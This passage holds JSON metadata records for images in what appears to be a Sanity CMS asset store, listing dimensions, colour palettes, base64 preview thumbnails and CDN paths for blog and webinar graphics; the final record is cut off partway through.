{"_createdAt":"2022-09-17T21:00:14Z","_id":"image-314569e1e5f6e7b75c6d91d9e71675e690e6d0e6-1567x844-png","_rev":"sI1gFaRN7B5HWmjllABcVD","_type":"sanity.imageAsset","_updatedAt":"2022-09-26T16:07:00Z","assetId":"314569e1e5f6e7b75c6d91d9e71675e690e6d0e6","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MVQ~sJ|r;_1%,:rXtRXTRjwI[oFdI;-TNe","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAACxElEQVQokV2SS2hUZxTHvztxJkYdJTaJwVIUimgXhrS1uGgwDxMFhaJjRUVIQtTUprHjVOfeO488OmOoWK3GJG0eCslCDQgxVTe+QN24Ecm2i4q2WLFSiI8PJ8mX85O5UZQufpwD58F5/BVuDsQDkJg9Y10LbIVkcd7DVhjbYvyAn7++z+NxOMBE1PJi015sxipagvDTEjiyDA4vhY4PIV2EpArhxwKkZR64Pq/gUSTIleYV9O9exXD9Eu5H8niV9PPCDfDi4Cwmoj4UqSLoXg0D1dBXCX0V0LsGfi1DOj9F0sUQyyFz0OJu+CNOhEPsa6wjsnU1I98s4s9kPk9j83gZncWU87Zh1yoYqIFT6+HUOji9HumvQo6u8Cacsn38E5nLaHMJqUgDe/d+y9cby9kfKmE4XMof8cVk2gNIhx+VXYvjJTNT9ZbDb2VIlpOfI9mVXYtxJ48bkU841LiBcNMedjU0ULO2gg3rqkg2beFWxxforg+gey6KeC6050N6kYd3u1QB0p6PxANI0sejdCGDdgWN9Tuora1j+7ZtlJV9SXV1De6BJq731/NsqBSOZxvaiv/jfTjruz7kSAEPej+jJ7GRndtDhEIhNm/eRGVlJaHQFnq6Oxm71sfz818hvwRR4igRx3qDeoetRGJ+MT2l8vD3fTI80CauE5Wm75rFcV1JxFw51BaX6xcG5cntTsmcKxfpCory9Nc6H1qDng7FseCt7pwcXv68kr9H2xi7fYmbVy9zZeQMdy4NMTZ6knuDP/BwqI5Xp9cwfazwzVNaFxjSxYZUkSE5x4hjGWxlxFZmIuozz2ILzdMTa82/I3Hz39VjZvxiwuiztSbTV2UyR5ebyXSBmW7JNcQtI64yiphfk5itiedq3BwtjtLYSouttLEtPRn16clYnp5ML9ZThz/W0+liLck5WlyfJpv7Xn6W15ifKOVZuJfKAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#504031","foreground":"#fff","population":0.05,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#893208","foreground":"#fff","population":0.07,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc7404","foreground":"#fff","population":49.21,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a8acd1","foreground":"#000","population":0.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f8cf90","foreground":"#000","population":1.01,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6c8cb4","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc7404","foreground":"#fff","population":49.21,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"314569e1e5f6e7b75c6d91d9e71675e690e6d0e6-1567x844.png","path":"images/sczeoy4w/production/314569e1e5f6e7b75c6d91d9e71675e690e6d0e6-1567x844.png","sha1hash":"314569e1e5f6e7b75c6d91d9e71675e690e6d0e6","size":552294,"uploadId":"lHtGruL8VwAt87UNQh9jxtbewqy9K5Ak","url":"https://cdn.sanity.io/images/sczeoy4w/production/314569e1e5f6e7b75c6d91d9e71675e690e6d0e6-1567x844.png"} {"_createdAt":"2022-09-26T16:07:16Z","_id":"image-e79c01223b2575d90084a38f558d3180955ed069-800x800-png","_rev":"8WeirZ6KB9gJqgJfviQ47v","_type":"sanity.imageAsset","_updatedAt":"2022-09-30T15:36:27Z","assetId":"e79c01223b2575d90084a38f558d3180955ed069","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eaSO]qt7ysofxutRS4j]sloep{j[VDjZWBozwvxtJURQrWaeS#t7az","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":800,"width":800},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAIAAAAC64paAAAACXBIWXMAAAsTAAALEwEAmpwYAAADZ0lEQVQ4jW2US0xcVRjHWbY+4saFKxMTFybGlXHlY6MLlyYaYkwqaUyNfUQN+OhDodBSTRjFFkYqVmmtRsVKzSBkBmmbUtJiCkw7DHRAGKbKcOfeuXfuuXfO+3XN3IGRMfwWJ2dxf/m+8+X734ZgEyklQsjfxAvxfR9CWA6BEBJCpJQ1paF2E0IAAKwQ0zSNEMsybdsuhjiO4/u+EGIbWSnFGEObwBCEEMYYhychhHOulNpGDoJAhyilqhetpZZQC5+ziru15jaVCSG+7xNS+Y4zKrEpzSs8PwoKaSP/N/SAVjII9P9lrbXneTMzM4lEYm4uZTslAACyZnHycPnGm+7c2WIyhubj2rwTcFQnV/qTcmlpKRKJ7H1rb19f31+Zec9YwavjNNmGp94hV4+g71+j/S/K+Mdq/XYgebX+f/L8wkLHsWO7dr3efaJtZXxAXO6SIx+qqx1yto9fPFBufxS8dx8++bRM/qyJF2gdBDpsOxxS0Vi79PsvP3z1+eS5jlL/K+KTx0X7I7LnWR1rlhf2oc4nvIMPkujzKjWkaVWuvVkJYSy4l3vNWIf/0z7S+Zjfci9o3okOPiBPv6DGWvmFPXTgJT7WrvK3tWBbBlbpm6nsdT7Uwn/co757lR992GveYbfshO/fI6PPiamT9FaU3PySpGPcWgnluspS26vyz7MicVxdfFd99iQ9dD/6YAdtfQicaVy91JObijq3zsO5YWZktKD1staaQbn0Bx39iMdb9W9vq+gz8tRT4JuXr51u6fn08JlTR5PDveDGeWYs6K3T3rAFkdlrbOQQH++UU/1s9Eh5PDI/dq77RFtjY+Mbu3f/+m23lRoTIB+uSt2Gaa2Edu+KmwMs3iome8uTXy9fjyXio11dkaampgP794/EhlxrTQmqw1HX77bWmpbl8hU+8YVMx/A/qWwmNT09PTExMTg4ODw8nMvlBN9oeFPWKtCVJFROyZRfUNai8k3BKEKoGmnbdtySKyjbiE5IRZYU0rKLkc+wTzEgGFJKKCWMMSllNWSVnGGozQItFt2S6zgOAABj3IBB0c7nioV1YK+79rpjFwEAW38a1ZjqkqnSsyCdWl5cvJPJZLNZx3EaymWvaBUc2wZuyfOA53kQwlrZ2jwCBFR+Fa/dtQzDKBRs24YQ/gv/aBf4tLR6igAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c3c3c","foreground":"#fff","population":4.55,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bb4b17","foreground":"#fff","population":0.38,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc7404","foreground":"#fff","population":5.59,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cbc7c9","foreground":"#000","population":0.48,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f8edcc","foreground":"#000","population":0.54,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ba9b7b","foreground":"#000","population":1.99,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc7404","foreground":"#fff","population":5.59,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"e79c01223b2575d90084a38f558d3180955ed069-800x800.png","path":"images/sczeoy4w/production/e79c01223b2575d90084a38f558d3180955ed069-800x800.png","sha1hash":"e79c01223b2575d90084a38f558d3180955ed069","size":56905,"uploadId":"LvdMCRAnM0IAiSSXcSh0hHL8L1j1TUCk","url":"https://cdn.sanity.io/images/sczeoy4w/production/e79c01223b2575d90084a38f558d3180955ed069-800x800.png"} {"_createdAt":"2022-06-15T20:01:45Z","_id":"image-0ce2998670e7410dd911195bac00f7a802d03bba-752x405-png","_rev":"QRl2cGoCgj0FlAhkRrhbKL","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:17:05Z","assetId":"0ce2998670e7410dd911195bac00f7a802d03bba","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MKPG?NM,$$t2%i~UkYMxR4N#%gogR*xDjF","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.85679012345679,"height":405,"width":752},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACOElEQVQokRXEbVOiQAAAYP7/b7gvdzfT3HTVVGaWmkCammh6irwq7ILuLiwLuyKg1IebZp55JMiOkGQ+yZyIu7Hw2RGK0zd+Avx7yCuYFmGGokxLsw4TI5QFAT8G4iQhkuxN1zWc2dqZW1sf0yivaFnToo6OdZSfaVbEMaXxKiHNBF+ntEeZgTkjx7OEMIWmbenmP8N2fZBkvDjX5edXUX8dzl+iqlMmEhSmSIvhA9reItAj+znNUFqepV3MTNdbGZbpbHYYZ1zkRXEoK1FWWVWTY7XFqQcBhkPiP2C/hcAA75eUR/xUS/s4XRj2aDqbL1em6+qmrZv2ynJsH0ImTHrQQKR5oQEWPugQJCfRPKIe5pyVtbTdkf5Ye36R+8PRaDLtqoNWT2l15cG7ZoVYJ9nAj55dpGzAzDftnR5gF+K9R1LES8mEe3n43lXU/nAsD4bPyqCl9BudXlt+nRmOQTI1YDd60Fx6fRNMt8AIgB0EG0SJKCUjwK+TWUftt2X1ttX522zfdeTLRuv31d2j8ja2vKeVd6PZ3aU3MsF0A/XQ22IfpYxXtQQIW1juQPu4b7/8vHn4cdW4uH/603j+dX1/2Ww3lbdbefg4XU9AtAjpPMQGDnwaIsHj4izRQxFGiQV26nx9qWgXvcnjePH6oavTpTpbvi+NydqZQqwnucEKPRZGnNiUOUlus1ISp8+0OIe8WCD+sqFdN5rvMz/JAfuGRIEPJTxUnjh5/GSzwqS5QfNVfPzA+X/1hTc87yWqNQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#353b3d","foreground":"#fff","population":6.89,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6f1417","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#353b3d","foreground":"#fff","population":6.89,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cda1a5","foreground":"#000","population":0.34,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e9e099","foreground":"#000","population":4.56,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8e8473","foreground":"#fff","population":0.14,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e0595d","foreground":"#fff","population":0.17,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"0ce2998670e7410dd911195bac00f7a802d03bba-752x405.png","path":"images/sczeoy4w/production/0ce2998670e7410dd911195bac00f7a802d03bba-752x405.png","sha1hash":"0ce2998670e7410dd911195bac00f7a802d03bba","size":110548,"uploadId":"OeD5lWzRIQb76fHBxQ4nhpKOnQjeWzPg","url":"https://cdn.sanity.io/images/sczeoy4w/production/0ce2998670e7410dd911195bac00f7a802d03bba-752x405.png"} {"_createdAt":"2022-10-06T14:13:15Z","_id":"image-e39b3fa7fa1d871663e79de4a34bc4b862df9f9a-1567x844-png","_rev":"6A7y012pmf5STlJrFLaPeH","_type":"sanity.imageAsset","_updatedAt":"2022-10-06T14:13:15Z","assetId":"e39b3fa7fa1d871663e79de4a34bc4b862df9f9a","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACVElEQVQokWXR20/aYBgG8HIqqUNWwAoDNzdXei4UWSeIOjdRrAdUTtL2a6EcCiQzJhtz4mQiB9l2s395YbtYsiW/iyd58r43D4RE29irViDeWBCMhYjh5SseruLlKj5Wx3iwyIFFHvh5gFJl5OW5Ey87CGCjDBtVhcMqFNjsioXRWzBdLw4Sp7ditiee3IjHvdh+N3H0aevsevOst579jKfaLlKFcQUmgJ3Q7IQ2Ow5udRPlB6n5M2P82NUe9rTJLhhvF/tv8l8y8t2BNpT08Y58T25fuijdgasOQvvDTmjQUuoimR9IxvcD45tUmRwa0wwYp856u+WvJ8ZE0kZSZZJWR2z6I7badvGmnW1Y6bqVrlvoOvQ0dbFRuMto47Q8eFe63QfDPTBK5W535PtsbXpkTA+rDxl9slG6j58OXqR7yOp7C9OyMC2IaUFY8jJycLOWvYlL3djeB/HwSjy6FqQr8bi3ke9v5vupXD+Zu0sUhmvFIZm5RuMdJ1t3MA0r04TgSMcd63hiLTRqolHTI5ioMAsLMTMYN0PxZijeDIrt0FpnOWkuv64+iSoYJ7sZAJM6ZKUbNrpuo+tW6i8nbbhZ3R9RQ4ISiCoYr2K8GojIS5FSiCv46JKLlJ1hBZqngI+veoXGI64Gk7qd0GFSdzMqxpWDUTkUA34BeFnlMa08pmWULrvJMhKW4bAym8ofzj/nlWerVR8LEPwcxmcFQihzlDrH6AhbczI1mKo4fv/9B+ReyXnCRZQ8n8eLyErRicuOsGon9NkYTBNiTIgxLTPN//0CffqiciLlW+8AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2a3254","foreground":"#fff","population":0.87,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":30.22,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":30.22,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a5bad6","foreground":"#000","population":0.56,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9aa8e4","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#60708f","foreground":"#fff","population":1.66,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e06122","foreground":"#fff","population":0.07,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Migrate_your_Apache_Cassandra_data_blog.png","path":"images/sczeoy4w/production/e39b3fa7fa1d871663e79de4a34bc4b862df9f9a-1567x844.png","sha1hash":"e39b3fa7fa1d871663e79de4a34bc4b862df9f9a","size":25951,"uploadId":"twevHW9aAYWCxFTIhD7lOtpLEoQ44RGG","url":"https://cdn.sanity.io/images/sczeoy4w/production/e39b3fa7fa1d871663e79de4a34bc4b862df9f9a-1567x844.png"} {"_createdAt":"2024-01-16T12:01:47Z","_id":"image-c93ea072cd0da69a9dac730d354df1b008d269e7-1200x628-png","_rev":"LQwNRwyj66d52uoiFPALuP","_type":"sanity.imageAsset","_updatedAt":"2024-01-16T12:01:47Z","assetId":"c93ea072cd0da69a9dac730d354df1b008d269e7","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M67-jr?49E-ms+.Ax]R%M|Ro9FRkxuR:Ri","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACjElEQVQokS2SW1MSARiG9xd0ESEsLMthWVh2UUAWHYVSsTQjTUFiSrOaIjMPcbY0ETCBcjIdZ6qLLvufTyPj1TvzXjzzffO8gt2zRmRsm8npKhPTdRKpOvpoCXW4hBKuooQbaLFDdLNFKN7BSPQwzC6BaAuPfogUOMShfkFUPmHz1RAk/wapdI1MtkUm22F+qcP9zHX2mFv8xuyj7yysXPAod0U6c0k6c8Xs4yvuzv1gZPwEb7iNK9jGGWgOwILLv0EyXWNhucli7oQnT3ssF76TfXbOcuEnS/lL8uu/ya39YTZzSeLeGbFkj5HxDmrkGI/+FTnUxaV1kfU+gjh4eYfxe1UmZ/aZnj8ivdBm5uEJU3NfmZrv82DxnHTmnFiyj1tvIioNRF8FUanjVI+Qgm1c2ilu/QzB4iigGq8ZMTfRY1tosT2MeBXDbBAa3ScYPUA3m0QnOsQmTghEjpDUGg6ljMNfQ/TvI/o/4wwcI4d6CFZnnmTyJU8ebzI+uYkW3SFsVhhONAjFGsjBKm6tzuxCl+0Pvyg8vyCebBE2v6DHj/ENN3HeiJGCHQSbtMqDqXXW80VSU+/QotsY8TLDifoNsIIrUGZ5tc9Z7x8fS39J3T8lnmpj3u1hjPXxGG0c6gGieoBwx55l1Mgzk3pFxHyHHCgi+oo4lC2c/l1E3x527w6RsTqLK32m504JRj/jHzkgGLsW00UOtbAr+9h8VYTbQysorhy69gLVKOLwvcHifI1FeotV3mLIvYtV3mbI/R7Rt4OolLB7ywMhUuAIl9bBoR4ONmjzlhFuWbNYbDmszgJW1xoWaYPbA2DxBrjHkGeXO/IWVvkDNk8Jm7eCXWkMtnctQxxcVxn0/wGrnmzxhjXTLwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#252551","foreground":"#fff","population":0.21,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#142474","foreground":"#fff","population":8,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#1d2786","foreground":"#fff","population":8.67,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cfceda","foreground":"#000","population":7.87,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#767ec3","foreground":"#fff","population":0.68,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#666d96","foreground":"#fff","population":3.13,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1d2786","foreground":"#fff","population":8.67,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Whats's new with Aiven webinar - Q4 2023 - Q1 2024 (3).png","path":"images/sczeoy4w/production/c93ea072cd0da69a9dac730d354df1b008d269e7-1200x628.png","sha1hash":"c93ea072cd0da69a9dac730d354df1b008d269e7","size":231363,"uploadId":"SRZe1nMPWpRHM9ZfuVsIgBlzpN3I7ptp","url":"https://cdn.sanity.io/images/sczeoy4w/production/c93ea072cd0da69a9dac730d354df1b008d269e7-1200x628.png"} {"_createdAt":"2022-06-30T19:57:27Z","_id":"image-3c88f094bbf36b322dbbb1606216916436e20071-640x460-png","_rev":"QRl2cGoCgj0FlAhkRrhg1m","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:18:13Z","assetId":"3c88f094bbf36b322dbbb1606216916436e20071","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"V6QJv800000000u%|r}X^6={:?]N;1^P=|,-=x-U={r=","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.391304347826087,"height":460,"width":640},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAYAAAAvxDzwAAAACXBIWXMAAAsTAAALEwEAmpwYAAACjklEQVQ4jY2Ty24TMRSG58EqFkgFISGVIsGKLbwBO3gAeAIkBItSWIDSNr1sqBAUEHfSpm3Uqg25z2QcT2bG48vMJMQ/spOUUoTE4tMZW/Z3jsfHTr2whdrCJn48e6Wrr7/iqHKAarWKRr2OZrOJVquFTqcDz3XheR663a6FEAJKKQJK4fu+7rTbdr3z7sEm3txbw9b9VV1a3sLx/j4ajRrarbYVuRORwfd99Ho9i5UFgYVSqk0Ck8i5u/hR3374Xt959BaFlx909agC0nVBaXCyebrR0O/3LXEcQ0oJpZRWSplvzTnXzrX1PVxa2YOJj78foe13wROGOGagtGePNhWZqqZJoiiCUhJZliHPDTnSNIUzv7aH2ZVdXN2oYKHiIZQZfg6HEEKi3w+tLAxDRFFsJWEY2cgYQ5JwcC4gpbIyU6lzeamE8y9KmC+W8aTigWVDQGtIJRGG5j8RRBFFkkTgIoY4hRlzbo7OoBSHlALOxUIJ556XMFfcPSUc2UU0aIL0qgj6NcSshYR3wIULIcfwCUJ6kIpAyBDO7PIOZgo7mFuvYPHAB8vHQiEYCGnA6x6D0Br6YRMscSGVbzf/DYUQVljGTKGMuY0KFg+nQg0hBAgxPeeiF/QQRiGShEFIDqkE1BmkFOA8+bcw5gLtLoHrEwT9EGFkLiMGY8nJRdh2UZMoJTjn9sh6plDWE6E2Qq1HoIzj2CNoE4ooNiI2udnEVm8kE7RKx1EIoU9XqE8qBCCyHAGXSFSKPB9gMPjNcDg8izbzpiedK8VtfWFpW1/f2MXifkcbycA0aZZZzKIsz23jGuz4T7SJaZqOK7xZ/Dy6sfRJ31r9gqffDnXd9exLMC/kP7Hv2ETP80a/AHG8+qxbWXLRAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#686868","foreground":"#fff","population":0.2,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2c7ca4","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#3aadd1","foreground":"#fff","population":10.85,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9cd4d4","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#71ddfc","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#669299","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3aadd1","foreground":"#fff","population":10.85,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"3c88f094bbf36b322dbbb1606216916436e20071-640x460.png","path":"images/sczeoy4w/production/3c88f094bbf36b322dbbb1606216916436e20071-640x460.png","sha1hash":"3c88f094bbf36b322dbbb1606216916436e20071","size":28362,"uploadId":"hyF9LCjAlVMOG4G3dKSpd2d4xVEXmotl","url":"https://cdn.sanity.io/images/sczeoy4w/production/3c88f094bbf36b322dbbb1606216916436e20071-640x460.png"} {"_createdAt":"2022-09-01T16:51:21Z","_id":"image-95d93598c5cc0504a5315224bf2fd3942b467aef-2500x1308-jpg","_rev":"xg85uGn4EJK0In0bVhcSXl","_type":"sanity.imageAsset","_updatedAt":"2022-09-01T16:51:21Z","assetId":"95d93598c5cc0504a5315224bf2fd3942b467aef","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MXQv2fYRn5VryEE.X5r;Sioy-;MxWUs;Rj","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9113149847094801,"height":1308,"width":2500},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAKABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAYDBQf/xAAiEAACAgEEAQUAAAAAAAAAAAABAgAEAwUGERIhIjFBYXH/xAAVAQEBAAAAAAAAAAAAAAAAAAAEA//EAB0RAAICAgMBAAAAAAAAAAAAAAECAAMREgQhkdH/2gAMAwEAAhEDEQA/AN6arfW4+TDaQoT4RvIEqt02dVwIi13VAw9eVfiMGIAWXIA5kuRVYjsoP6ILlXuKzr1F00ruMxe2tY1PPpQey/Zg5AZvciEYlAUcKAB9QklYgAfYh8MxOB5P/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#424c59","foreground":"#fff","population":0.11,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#814603","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f98c0e","foreground":"#000","population":1.44,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a0c6d0","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f9d15f","foreground":"#000","population":1,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6888ac","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f98c0e","foreground":"#000","population":1.44,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Newletter_sign_up_page_meta_preview.jpeg","path":"images/sczeoy4w/production/95d93598c5cc0504a5315224bf2fd3942b467aef-2500x1308.jpg","sha1hash":"95d93598c5cc0504a5315224bf2fd3942b467aef","size":255876,"uploadId":"RQhef8DbH1GCNh7hDflmAAeANPPyqT0G","url":"https://cdn.sanity.io/images/sczeoy4w/production/95d93598c5cc0504a5315224bf2fd3942b467aef-2500x1308.jpg"} {"_createdAt":"2022-09-01T16:52:29Z","_id":"image-148e93ddeba40036d332f7dcea9918f41008ad75-1200x1200-png","_rev":"xg85uGn4EJK0In0bVhcbGv","_type":"sanity.imageAsset","_updatedAt":"2022-09-01T16:52:29Z","assetId":"148e93ddeba40036d332f7dcea9918f41008ad75","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eFK]W08a02Q?569O0p^z=sov00+bKjVZxGD$+Z5qtRaP0W#l|GPS$%","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":1200,"width":1200},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAABYlAAAWJQFJUiTwAAAFz0lEQVQ4jUWUe1SUBRrGXwYUy2WRdN2Z0SzES8DgCpa2XiJsF8tbIWWrtETIgAFCo99nAcoBRy7hct1JGC5DMjTAIBoXZ6a0PgRFB08YfJ8ntzZ3PXWOsmpt6y2DeZ89056z/fE75/3rd57nvOc8RKF6+j+L04jC9ERPpBFRHd0oCiQY/Qh5KmLRjziXCC+HE3KDiT8PIgzPInykJnysJjg0BIeafpF5RaF6fwrVB0zRpfjHxW3xcZ4+ToglQgoRdhF5tkQStodM4eQF/mh4dCocmmno1fihW/s/odMr9IoWJpOvLs3XJzxVowpP1fno0jU01+TrBxAyyA8GCkD21DmcNjOSE+e9gOQFcSgL3oDj2jVwqjVsn6uCQ+MLp9qPsg40E3Cb5sUIfhSm19CiFN3MJa/MuXwgaBbXBIXe/8ucP/54YHbKpBhQzOlB7Xhj7iAnLbzAexe5UPt4IT7URsOhXgqHZgUcmjC69s0V+vJvlwkAaVdnTVu5rXhW9+HsxddtmxPHrZsbrlq2Sv8oj/nih3fU//Kk/+oekn87ya+FMP85/AZn6xxcN78SvdpSdqr3wKGJJUVRfMbGxqZfHBmZO+x2R509O7R5WDq+f9RpOv35ierv++3Vk46KdHyZtwQTe+cAWSFA0iIgXveAt0V9xzkR/0TT/BPco81kpzqCLl68+NCFCxdi3G63cWhoqHNwcPDcQL90dUD6+N6pjxxobrag2vgOD1Wl8L32bPYceYsn8zawJyES/NIy8J+enuDdUQqqn8hn+7yF5Ha7AwYGBnZJknRJkqQfJUma/FSS8Mknn6Kz8ygbjUYuzM/jng/MPNrfy5dOHcOVxiIeN8Tx3fiVHs/zqxmbnh3nhOgK7Fk+n86cOePvcrle7+npUbq7u9HX18cul4t7e3u4qqqSs7OyUFhQwGazGX81mWCqqeGu5nr0lxeysiOOb69/Boj5w02sWV/GK1/UehP6dHd3R9vtdpfNZntgs9m4o6ODGxoaWRD3IiNzF79bVsa1tbUoKS72ylFvNnObpZG7cgw8Gr8e/3lu7VXPM+sEz+9fDKSDBw9SV1fX4ra2tgar1XrbYrGg3lyH8kMlyBMzuaRAhK2libu6jsL03nsoKS1FXZ2ZW1pauLaslJt3vO4Z2LRh+NvY57cgNs6PrFYrtbe3/8ZqbXnbYrF80Wg23WytK/jh2OE3J51VcTjXkMBfSfVQPjuLE7096LA2s/1IA6xN9VxdVYWi3Jz7lTvTjrUlJi7HVj1Ra2srtVqt0xobm549XGvOaa49WOS2vnL02/anrv3bGsL3jyzkCcd2vjdi4RvDdlx3VvDfm3Zzf4XB01puhKn80K2y4uJy4/59j2UUFhHV1LaQzdqg6mkrnyl1lei+PmmIuS+t3+dx/m4MndoJvD8DsDzKsK1htMYyaqLwU/4C3BAjIefG45Qx+6v2kvz0ypLiwPzqJiJczyGWRYIizIYibIIilGAs+yTc28fZ9TTzB1pwXQBz5XTmIn/mXBXDMPWniTdn3rmVEjr+tT76+Ehm/HP2fXumGMu7iHBJ9ApVLIuPsyxmsCyeYlm8xWNv3eXzCXe4b/kEv68BmwLBFTPApY/c5f2BIzd3zu4cfDms/sONK9L6Nq6e913GC/TUk1H0czqWxSksi0tYFg0sCx0